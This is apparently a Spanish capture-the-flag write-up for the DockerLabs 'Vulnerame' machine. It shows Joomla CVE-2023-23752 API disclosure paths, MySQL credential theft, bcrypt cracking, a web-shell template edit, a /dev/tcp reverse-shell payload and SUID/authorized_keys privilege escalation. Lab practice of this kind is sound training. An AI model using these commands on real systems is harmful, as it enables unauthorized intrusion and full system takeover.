Vulnerame , DockerLabs
En este reto de DockerLabs practicamos.
- Scan de puertos
- rce
- Reverse shell
- Enumeracion ficheros y directorios
- Crack con john BCRYPT
Herramientas y recursos
- nmap
- feroxbuster
- john
- ssh
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX comida 172.17.0.2
Como vemos en el reporte disponemos del http 80 y del ssh en el 22
Vemos la pagima default asi que lanzamos un poco de fuzzing en busca ficheros y directorios.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2
Nos encontramos directorio trucho wordpress pero con un joomla dentro, necesitamos saber la version . Joomla en versiones antiguas como debe ser esta la guarda en administrator/manifests/files/joomla.xml*
Sabiendo este dato ya podemos seguir buscando por la web como poder acceder a este joomla.
Buscando encontramos que alguna versiones de joomla te regalan la info que no deberia Unauthenticated information disclosure y un cve asociado CVE-2023-23752.
Este cve se aprovecha de que quedan expuestos datos json y se puede entrar sin mas en las siguientes direcciones.
1
2
api/index.php/v1/config/application?public=true
api/index.php/v1/users?public=true
Esas dos rutas corresponden a datos de configuracion del joomla y a los usuarios dentro de joomla.
Infiltracion
Con los datos proporcionados deberiamos de poder hacer login en mysql y navegar hasta los passwords.
1
2
3
4
5
mysql -h 172.17.0.2 -u joomla_user -p
show databases;
use joomla_db;
show tables;
select * from ffsnq_users
Ahora tenemos un hash segun el amigo ia gpt es un bcrypt asi que le paso a john.
1
/home/quino/hacking_tools/brute_passwords_hash/john/run/john --format=BCRYPT -w /home/quino/Descargas/rockyou.txt/rockyou.txt hash
John me tira la password despues de un tiempito pese a estar en linea 1200 aproximadamente del rockyou.
Ahora si estamos listos para entrar a la web.
Una vez logueados como administrator vamos a panel de control > dashboard > templates > selecionamos cassiopeia > y yo modifico el error.php dejandolo de la siguinete manera.
Guardamos , salimos y vamos a la ruta correcta.
Nos preparamos para mandarnos una reverseshell y codeamos la rev.
1
2
nc -lnvp 1111
http://172.17.0.2/wordpress/templates/cassiopeia/error.php?cmd=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.0.112%2F1111%20%3C%261%27
Movimientos laterales
Una vez dentro realizamos un sudo -l sin respuesta pero buscando sobre los directorio home de los usuarios vemos que podemos leer un fichero.
1
find /home/ -user www-data -type f 2>/dev/null
Al realizar un cat nos indica que esta en base64 , me lo paso a mi maquina.
1
python3 -m http.server 8000
Una vez en nuestra maquina podemos realizar las oportunas comprobaciones con file strings etc para ver bien a que nos enfrentamos.
Los pasos correctos son los siguiente dado que no se codifico un texto si no un fichero.
1
2
3
4
base64 -d passwd > fichero
file fichero
unzip fichero
cat pass.txt
Ahora podemos ir por ssh ni bien no logeamos ejecutamos sudo -l y nos indica que podemos usar un script como ignacio. Ejecutamos el script y vemos que es lo que hace. Observamos que el script ejecuta un ls sobre ciertos directorios y en la segunda ejecucion no encuentra el fichero, nos desplazamos a la ruta de la segunda ejecucion y creamos el fcichero que falta.
Creo un script de bash para mover /bin/bash y le asigno suid posteriomente lo ejecuto para ser ignacio.
Con ignacio tenemos que conseguir escapar del euid y convertinos en usuario real ignacio.
Ejecutamos las siguentes ordenes , nos vamos al home de ignacio y creamos a la carpeta .ssh para dentro poner el authorized_keys.
1
2
3
4
ssh-keygen -t rsa
cat id_rsa.pub nos copiamos el resultado
echo 'resultado' >> authorized_keys
ssh -i id_rsa ignacio@172.17.0.2
Con eso ya estamos como el user ignacio pudiendo ejecutar todo. Primero y como de costumbre sudo -l.
Vemos que nos permiten ejecutar un script en ruby dado que tenemos permisos de escritura sobre ese fichero.
1
2
3
4
5
6
7
#!/usr/bin/env ruby
require 'fileutils'
puts "Feliz hacking"
FileUtils.cp('/bin/bash', '/tmp')
puts "Aprendamos jugando y compartiendo info"
FileUtils.chmod("+s", "/tmp/bash")
puts "Esta ya la tienes :-)"
Yo lo dejo asi a falta de ejecutar bash -p.
Nos encntramos la misma situacion de antes , bastaria con copiar el authorized_keys de ignacio al /root/.ssh y entrar por ssh.
En fin hasta aqui la otra maquina.
Saludos y recuerden seguirme en twitter ,,,, si ya se hoy x.
Comments powered by Disqus.